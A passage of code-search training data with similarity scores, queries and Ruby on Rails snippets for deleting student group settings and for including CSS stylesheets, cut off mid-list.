"0.5680505",
"0.566861",
"0.5657338",
"0.56572294",
"0.565628",
"0.56558406",
"0.5653946",
"0.56538177",
"0.5650334",
"0.56410563",
"0.5640368",
"0.5637245",
"0.5628896",
"0.5625851",
"0.56148",
"0.5609467",
"0.5606752",
"0.56043303",
"0.55961484",
"0.55947703",
"0.559154",
"0.55901676",
"0.55841815",
"0.5580318",
"0.5579551",
"0.5573956",
"0.5572288",
"0.555528",
"0.5555134",
"0.5552846",
"0.5548228",
"0.5546485",
"0.55435884",
"0.55410737",
"0.55356604",
"0.5535202",
"0.5532836",
"0.5530804",
"0.5523626",
"0.55191946",
"0.55077094",
"0.55074",
"0.55048066",
"0.5503877",
"0.55007744",
"0.5485346",
"0.5484672",
"0.5481178",
"0.547613",
"0.5476122",
"0.5476064",
"0.5475275",
"0.5473982",
"0.54736024",
"0.5473111",
"0.547306",
"0.547306",
"0.54707766",
"0.5466909",
"0.54656404",
"0.54631716",
"0.54591316",
"0.54576814",
"0.54502106",
"0.5444286",
"0.5444286",
"0.5444018",
"0.5442963",
"0.5440579",
"0.54315037",
"0.5431179",
"0.5426743"
] |
0.73425263
|
0
|
DELETE /student_group_settings/1 DELETE /student_group_settings/1.xml
|
def destroy
@student_group_setting = StudentGroupSetting.find(params[:id])
@student_group_setting.destroy
respond_to do |format|
format.html { redirect_to(student_group_settings_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_set3_04b_delete_group()\n group = \"test_group\"\n user = \"test_user\"\n \n @test_acl.create_principal(user)\n @test_acl.create_group(group, [\"ALL\"], [user])\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n #puts query\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(1, hits)\n \n @test_acl.delete_principal(group)\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n onesecgroup('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @student_group_rule = StudentGroupRule.find(params[:id])\n @student_group_rule.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_group_rules_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @attribute_group = AttributeGroup.find(params[:id])\n @attribute_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(attribute_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student_defaulter_setting.destroy\n respond_to do |format|\n format.html { redirect_to student_defaulter_settings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@s_group.destroy\n @s_group = SGroup.find(params[:id].to_i)\n @s_group.delete_flg = 1\n @s_group.save!\n\n respond_to do |format|\n format.html { redirect_to s_groups_url, notice: 'S group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sitegroup = Sitegroup.access(current_user).find(params[:id])\n @sitegroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(sitegroups_url) }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @group.destroy unless @group.default\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def group_delete(attribs, dir_info)\n attribs = group_record_name_alternatives(attribs)\n\n check_critical_attribute( attribs, :record_name )\n\n command = {action: 'delete', scope: 'Groups', attribute: nil, value: nil}\n user_attrs = attribs.merge(command)\n\n dscl( user_attrs, dir_info )\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_groups_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete_group(group)\n\t\t\tend",
"def delete_group(group)\n\t\t\tend",
"def service_group_delete(a10, name)\n a10.send(:axapi, 'slb.service_group.delete', 'post', {name: name, format: 'json'})\nend",
"def destroy\n @size_group = SizeGroup.find(params[:id])\n @size_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_size_groups_url) }\n format.xml { head :ok }\n end\n end",
"def del(id, which=:groups)\n resp = self.class.delete(\"/#{which}/#{id}\")\n check_errors resp\n end",
"def delete_student(sId)\n return false unless File.exist?(file)\n\n @data[:students].each do |value|\n next unless value[:id] == sId\n\n @data[:students][sId][:status] = :removed\n save_data\n return 1\n end\n 0\n end",
"def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end",
"def destroy\n @expensegroup = Expensegroup.find(params[:id])\n @expensegroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(expensegroups_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @record_group = RecordGroup.find(params[:id])\n @record_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(record_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @add_to_group = AddToGroup.find(params[:id])\n @add_to_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(add_to_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @global_account_setting = GlobalAccountSetting.find(params[:id])\n @global_account_setting.destroy\n\n respond_to do |format|\n format.html { redirect_to(global_account_settings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @student_correspondence = StudentCorrespondence.find(params[:id])\n @student_correspondence.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_correspondences_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\n @group_definition = GroupDefinition.find(params[:id])\n @group_definition.destroy\n\n respond_to do |format|\n format.html do\n if request.env['HTTP_REFERER']\n redirect_to(:back)\n else\n redirect_to(group_definitions_url)\n end\n end\n format.xml do\n head :ok\n end\n end\n end",
"def remove_configuration_product\r\n # node = ProductPackageProduct.find(params[:id].to_i).destroy\r\n # redirect_to :action => \"configuration_products\", :id => node.parent_id\r\n ExampleConfigurationProduct.delete params[:id]\r\n redirect_to :action => \"configuration_products\", :id => params[:id]\r\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n \n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @radio_group = RadioGroup.find(params[:id])\n @radio_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(radio_groups_url) }\n format.xml { head :ok }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @contact_group = ContactGroup.find(params[:id])\n @contact_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_contact_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @outgoing_sms_content_group = OutgoingSmsContentGroup.find(params[:id])\n @outgoing_sms_content_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(outgoing_sms_content_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n GroupPermission.destroy(params[:id])\n\n respond_to do |format|\n format.html { redirect_to(group_permissions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @org_setting.destroy\n\n head :no_content\n end",
"def destroy\n @student_relation = StudentRelation.find(params[:id])\n @student_relation.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_relations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user_group = UserGroup.find(params[:id])\n @user_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n group = Group.find(params[:group_id])\n\n @subgroup = group.subgroups.find(params[:id])\n @subgroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(group_subgroups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student_profile = StudentProfile.find(params[:id])\n @student_profile.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_profiles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\t\t@student = Student.find(params[:id])\n#\t\tredirect_to(@student, :notice => 'NOTICE: During initial testing, the deletion of students has been turned off.')\n#\t\treturn\n\t\tBrowse.student_changed(nil, @student)\n\t\tsolr().remove_object(@student.to_solr())\n\t\[email protected]_references()\n\t\[email protected]\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to({:controller => 'admin', :action => 'index'}) }\n\t\tend\n\tend",
"def destroy\n @provider_group = ProviderGroup.find(params[:id])\n @provider_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(provider_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @assessment.destroy\n respond_to do |format|\n format.html { redirect_to user_group_path(@user, @group) }\n end\n end",
"def destroy\n @student = current_user.students.find(params[:id])\n @student.destroy\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n Group.destroy(params[:id])\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\t@questionnaire_setting = QuestionnaireSetting.find(params[:id])\n\t@questionnaire_setting.destroy\n\n\trespond_to do |format|\n\t format.html { redirect_to(questionnaire_settings_url) }\n\t format.xml { head :ok }\n\tend\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def destroy\n @student_relationship = StudentRelationship.find(params[:id])\n @student_relationship.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_relationships_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @network_setting = NetworkSetting.find(params[:id])\n @network_setting.destroy\n\n respond_to do |format|\n format.html { redirect_to(network_settings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n delete_with_references(@student,students_path)\n end",
"def delete_related_groups\n \n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group_of_task = GroupOfTask.find(params[:id])\n @group_of_task.destroy\n\n respond_to do |format|\n format.html { redirect_to(group_of_tasks_url) }\n format.xml { head :ok }\n end\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def destroy\n @student_referee = StudentReferee.find(params[:id])\n @student_referee.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_referees_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @xml_sample = XmlSample.find(params[:id])\n @xml_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to xml_samples_url }\n format.xml do\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n return render xml: xml\n end\n end\n end",
"def destroy\n @configattribincl.destroy\n respond_to do |format|\n format.html { redirect_to configattribs_path, notice: 'Configattribincl Threshold is reset to default.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @target_group = TargetGroup.find(params[:id])\n @target_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_target_groups_url) }\n format.xml { head :ok }\n end\n end",
"def deleteGroup( group_id)\n params = Hash.new\n params['group_id'] = group_id\n return doCurl(\"delete\",\"/group\",params)\n end",
"def destroy\n @student_group_association.destroy\n respond_to do |format|\n format.html { redirect_to student_group_associations_url, notice: 'Student group association was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @transaction_group = TransactionGroup.find(params[:id])\n @transaction_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(transaction_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n authorize @group, :destroy?\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(browse_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @grupo = Grupo.find(params[:id])\n @grupo.destroy\n\n respond_to do |format|\n format.html { redirect_to(grupos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:group_id])\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to group_surveys_path(@group) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @studentset = Studentset.find(params[:id])\n @studentset.destroy\n\n respond_to do |format|\n format.html { redirect_to studentsets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n conf.delete 'dashboard'\n end",
"def destroy\n @contact_group = ContactGroup.find(params[:id])\n @contact_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(contact_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @grouping.destroy\n\n respond_to do |format|\n format.html { redirect_to(groupings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n\n mbs = Membership.where \"group_id = ?\", @group.id\n\n mbs.each do |m|\n m.destroy\n end\n\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @student_type.destroy\n\n head :no_content\n end",
"def instructor_delete_grp_set(course, group)\n load_course_grps course\n logger.info \"Deleting teacher group set '#{group.group_set}'\"\n wait_for_load_and_click link_element(xpath: \"//a[@title='#{group.group_set}']\")\n wait_for_update_and_click link_element(xpath: '//button[@title=\"Add Group\"]/following-sibling::span/a')\n confirm(true) { wait_for_update_and_click link_element(class: 'delete-category') }\n list_item_element(xpath: '//li[contains(.,\"Group set successfully removed\")]').when_present Utils.short_wait\n end",
"def destroy\n @student_attendance = StudentAttendance.find(params[:id])\n @student_attendance.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_attendances_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @targetgroup = Targetgroup.find(params[:id])\n @targetgroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(targetgroups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to group_students_path(@group), notice: 'Student was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def delete( )\n File.delete(@configFileDNE)\n self.clear\n self\n end",
"def destroy\n @lab_group = LabGroup.find(params[:id])\n @lab_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(lab_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @config_value = ConfigValue.find(params[:id])\n @config_value.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_config_values_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @recruitment_group = RecruitmentGroup.find(params[:id])\n @recruitment_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(recruitment_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sys_config = SysConfig.find(params[:id])\n @sys_config.destroy\n\n respond_to do |format|\n format.html { redirect_to user_system_sys_configs_url }\n format.xml { head :ok }\n end\n end",
"def remove_group\n group = current_account.groups.of_devices.find(params[:group_id])\n\n group.devices.delete(current_account.devices.find(params[:apply_ids].split(\",\")))\n\n redirect_to devices_path\n end",
"def destroy\n @site_profile_question_section = SiteProfileQuestionSection.find(params[:id])\n @site_profile_question_section.destroy\n\n respond_to do |format|\n format.html { redirect_to(site_admin_site_profile_questions_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @school_rec = SchoolRec.find(params[:id])\n @school_rec.destroy\n\n respond_to do |format|\n format.html { redirect_to(school_recs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ail_group = AilGroup.find(params[:id])\n @ail_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(ail_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @setting = Setting.find(params[:id])\n @setting.destroy\n\n respond_to do |format|\n format.html { redirect_to settings_url }\n format.xml { head :ok }\n end\n end"
] |
[
"0.6467817",
"0.6359584",
"0.6347827",
"0.6332794",
"0.6328565",
"0.630839",
"0.6207837",
"0.6174829",
"0.6142908",
"0.60434234",
"0.59900534",
"0.5985311",
"0.59505534",
"0.594999",
"0.5941351",
"0.5941351",
"0.5924405",
"0.5922107",
"0.59136695",
"0.5910537",
"0.5896884",
"0.5895919",
"0.5892171",
"0.58853704",
"0.5877043",
"0.58742654",
"0.58731884",
"0.586992",
"0.5865803",
"0.5863903",
"0.5858898",
"0.5843206",
"0.5841657",
"0.58399576",
"0.5829992",
"0.58246577",
"0.5821325",
"0.5821325",
"0.5806729",
"0.5806729",
"0.5806729",
"0.5806729",
"0.5806729",
"0.5806729",
"0.5806729",
"0.5806729",
"0.5804059",
"0.5796697",
"0.5796344",
"0.5781376",
"0.5781375",
"0.5773737",
"0.57728744",
"0.5771412",
"0.577069",
"0.5762302",
"0.57615566",
"0.5760805",
"0.57526064",
"0.57495105",
"0.5747992",
"0.5747476",
"0.57427466",
"0.57427466",
"0.57427466",
"0.57427466",
"0.57427466",
"0.57427466",
"0.5734533",
"0.5732759",
"0.5725487",
"0.5720012",
"0.57183766",
"0.5711286",
"0.5707077",
"0.5707067",
"0.5706097",
"0.5701874",
"0.5701643",
"0.5698491",
"0.5693327",
"0.56925476",
"0.56891173",
"0.5686618",
"0.5683433",
"0.56792814",
"0.5678368",
"0.56768894",
"0.567535",
"0.56721437",
"0.5667712",
"0.56642824",
"0.56573844",
"0.56555814",
"0.5654308",
"0.5654149",
"0.565403",
"0.5652085",
"0.5651014",
"0.56509936"
] |
0.7393474
|
0
|
Sets stylesheets... Can pass in multiple paths for css files.
|
def add_style_sheets(*sheets)
for sheet in sheets do
@style_sheets << " -s #{sheet} "
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def stylesheets(*args)\n\t\t@stylesheets ||= []\n\t\targs.each do |stylesheet|\n\t\t\tunless @stylesheets.include?(stylesheet.to_s)\n\t\t\t\[email protected](stylesheet.to_s)\n\t\t\t\tcontent_for(:head,stylesheet_link_tag(stylesheet.to_s))\n\t\t\tend\n\t\tend\n\tend",
"def stylesheets(*args)\n\t\t@stylesheets ||= []\n\t\targs.each do |stylesheet|\n\t\t\tunless @stylesheets.include?(stylesheet.to_s)\n\t\t\t\[email protected](stylesheet.to_s)\n\t\t\t\tcontent_for(:head,stylesheet_link_tag(stylesheet.to_s))\n\t\t\tend\n\t\tend\n\tend",
"def add_css(files)\n return add_data(files, :stylesheets, '.css')\n end",
"def stylesheet(*urls)\n urls << {} unless urls.last.respond_to? :to_hash\n urls.last[:type] ||= mime_type(:css)\n link(:stylesheet, *urls)\n end",
"def stylesheet(*sources)\n options = sources.extract_options!.symbolize_keys\n options.reverse_merge!(media: 'screen', rel: 'stylesheet', type: 'text/css')\n sources.collect do |source|\n tag(:link, options.reverse_merge(href: asset_path(source, :css)))\n end.join(\"\\n\")\n end",
"def load_css(*files)\n content_for(:head) { stylesheet_link_tag(*files) }\n end",
"def stylesheet(*args)\n content_for(:stylesheets) { stylesheet_link_tag(*args) }\n end",
"def stylesheet(*args)\n head { stylesheet_link_tag *args }\n end",
"def stylesheet(*files)\n content_for(:header) { stylesheet_link_tag(*files) }\n end",
"def load_stylesheets(kit)\n # Load standard stylesheet\n style = ::File.expand_path(\"../../../config/style.css\", __FILE__)\n kit.stylesheets << style\n kit.stylesheets << stylesheet if ::File.exists?(stylesheet)\n end",
"def stylesheet_link_tag(*sources); end",
"def stylesheet_link_tag(*sources); end",
"def stylesheets\n Dir[Dir.pwd + '/*.css'].map { |path| File.read(path) }\n end",
"def stylesheets\n Dir[Dir.pwd + '/*.css'].map { |path| File.read(path) }\n end",
"def stylesheet_link_tag(*sources); end",
"def css_includes *ss\n\t\t\tss.each { |s|\n\t\t\t\tlink :rel => 'stylesheet', :media => 'all', :href => s\n\t\t\t}\n\t\tend",
"def stylesheets\n render_asset( \n asset_path_for(params[:asset], 'stylesheets', params[:theme]),\n defaulft_asset_path_for(params[:asset], 'stylesheets'),\n app_asset_path_for(params[:asset], 'stylesheets'), mime_type_from(params[:asset])\n )\n end",
"def stylesheets\n styles.zip(style_files).map do |name, path|\n base = File.basename(path, '.css')\n raise \"style not found: #{style.inspect}\" if path.nil?\n {\n name: name,\n path: path,\n base: File.basename(path, '.css'),\n media: base =~ /(print|screen)$/ ? $1 : 'all'\n }\n end\n end",
"def include_individual_stylesheets(bundles=[])\n tags = []\n bundles.each do |bundle| \n tags.concat bundle.files.map { |css| stylesheet_link_tag(css.path) }\n end\n tags.join(\"\\n\")\n end",
"def stylesheets(*filters)\n query(\"link[rel='stylesheet']\", \"href\", *filters)\n end",
"def include_stylesheets\n Pathname.new(StylesheetDir).find do |path|\n next unless path.file?\n if @one_file\n @outfile.puts \" <style>\"\n @outfile.puts path.read\n @outfile.puts \" </style>\"\n else\n @outfile.puts \"<link href=\\\"lib/stylesheets/#{path.basename}\\\" media=\\\"screen\\\" rel=\\\"stylesheet\\\" type=\\\"text/css\\\" />\"\n end\n end\n end",
"def stylesheet src, attributes = {}\n link({:rel => \"stylesheet\", :href => src}.merge(attributes))\n end",
"def stylesheets\n sheets = []\n sheets << settings.stylesheets.keys if settings.respond_to?('stylesheets')\n sheets << @styles if @styles\n sheets.flatten.uniq.map do |css|\n \"<link href='#{path_to_styles css }' rel='stylesheet' type='text/css'>\"\n end.join\n end",
"def process_stylesheets(body, directory)\n to_inline = []\n\n body.scan(STYLESHEET_PATTERN) do |stylesheet_tag|\n if path = stylesheet_tag[HREF_PATH_PATTERN, :path]\n\n indent = stylesheet_tag[INDENT_PATTERN, :indent] || \"\"\n\n absolute_path = File.absolute_path(path, directory)\n stylesheet_contents = read_file(absolute_path)\n\n to_inline << [stylesheet_tag, \"#{indent}<style>#{stylesheet_contents}\\n#{indent}</style>\"]\n end\n end\n\n to_inline.reduce(body) do |output, (tag, contents)|\n output.gsub(tag, contents)\n end\n end",
"def include_stylesheets(*bundles) \n bundles.map! { |name| Jammit::Lite::Bundle.new(:stylesheets => name) }\n return include_individual_stylesheets(bundles) unless Rails.env.production? \n tags = bundles.map { |bundle| stylesheet_link_tag(bundle.path) }\n tags.join(\"\\n\")\n end",
"def stylesheet(*args)\n content_for(:head) { stylesheet_link_tag(*args) }\n end",
"def css(name, *args) #path, files=[])\n js_or_css :css, name, *args\n end",
"def stylesheet_link_tag(*sources)\n options = sources.extract_options!.stringify_keys\n concat = options.delete(\"concat\")\n cache = concat || options.delete(\"cache\")\n recursive = options.delete(\"recursive\")\n\n if concat || (ActionController::Base.perform_caching && cache)\n joined_stylesheet_name = (cache == true ? \"all\" : cache) + \".css\"\n joined_stylesheet_path = File.join(joined_stylesheet_name[/^#{File::SEPARATOR}/] ? ASSETS_DIR : STYLESHEETS_DIR, joined_stylesheet_name)\n\n unless ActionController::Base.perform_caching && File.exist?(joined_stylesheet_path)\n write_asset_file_contents(joined_stylesheet_path, compute_stylesheet_paths(sources, recursive))\n end\n stylesheet_tag(joined_stylesheet_name, options)\n else\n expand_stylesheet_sources(sources, recursive).collect { |source| stylesheet_tag(source, options) }.join(\"\\n\").html_safe\n end\n end",
"def stylesheet_link_tag(*sources)\n options = extract_options!(sources)\n\n base_folder = if defined? Compass\n Compass.configuration.css_dir\n else\n 'stylesheets'\n end\n sources.map do |source|\n tag('link', {\n 'rel' => 'stylesheet',\n 'type' => 'text/css',\n 'media' => 'screen',\n 'href' => ensure_path(ensure_extension(source, 'css'), base_folder)\n }.with_indifferent_access.merge(options))\n end.join(\"\\n\")\n end",
"def stylesheet= val\n @stylesheet = val\n end",
"def stylesheets(&block)\n content_for(:stylesheets, nil, &block)\n end",
"def stylesheets_path\n @stylesheets_path ||= File.expand_path 'stylesheets/', assets_path\n end",
"def stylesheet_link_tag(string_or_array, *args)\n files = string_or_array.is_a?(Array) ? string_or_array : [string_or_array]\n options = {\n :charset => \"utf-8\",\n :media => \"screen, projection\",\n :rel => \"stylesheet\",\n :type => \"text/css\",\n }.merge(args.last.is_a?(::Hash) ? pop : {})\n\n files.map do |file|\n path = \"assets/stylesheets/#{file}.css\"\n options[:href] = path\n tag(:link, options)\n end.join(\"\\n\")\n\nend",
"def stylesheet_link_tag(*sources)\n options = sources.extract_options!.stringify_keys\n sources.uniq.map { |source|\n tag_options = {\n \"rel\" => \"stylesheet\",\n \"media\" => \"screen\",\n \"href\" => path_to_stylesheet(source)\n }.merge(options)\n tag(:link, tag_options)\n }.join(\"\\n\").html_safe\n end",
"def css(url=\"\")\n self.style_sheet(url)\n end",
"def update_stylesheets\n return if options[:never_update]\n\n @@checked_for_updates = true\n Dir.glob(File.join(options[:template_location], \"**\", \"*.sass\")).entries.each do |file|\n\n # Get the relative path to the file with no extension\n name = file.sub(options[:template_location] + \"/\", \"\")[0...-5]\n\n if !forbid_update?(name) && (options[:always_update] || stylesheet_needs_update?(name))\n css = css_filename(name)\n File.delete(css) if File.exists?(css)\n\n filename = template_filename(name)\n engine = Engine.new(File.read(filename), engine_options(:filename => filename))\n result = begin\n engine.render\n rescue Exception => e\n exception_string(e)\n end\n\n # Create any directories that might be necessary\n dirs = [options[:css_location]]\n name.split(\"/\")[0...-1].each { |dir| dirs << \"#{dirs[-1]}/#{dir}\" }\n dirs.each { |dir| Dir.mkdir(dir) unless File.exist?(dir) }\n\n # Finally, write the file\n File.open(css, 'w') do |file|\n file.print(result)\n end\n end\n end\n end",
"def active_scaffold_stylesheets(frontend = :default)\r\n ActiveScaffold::Config::Core.asset_path(\"stylesheet.css\", frontend)\r\n end",
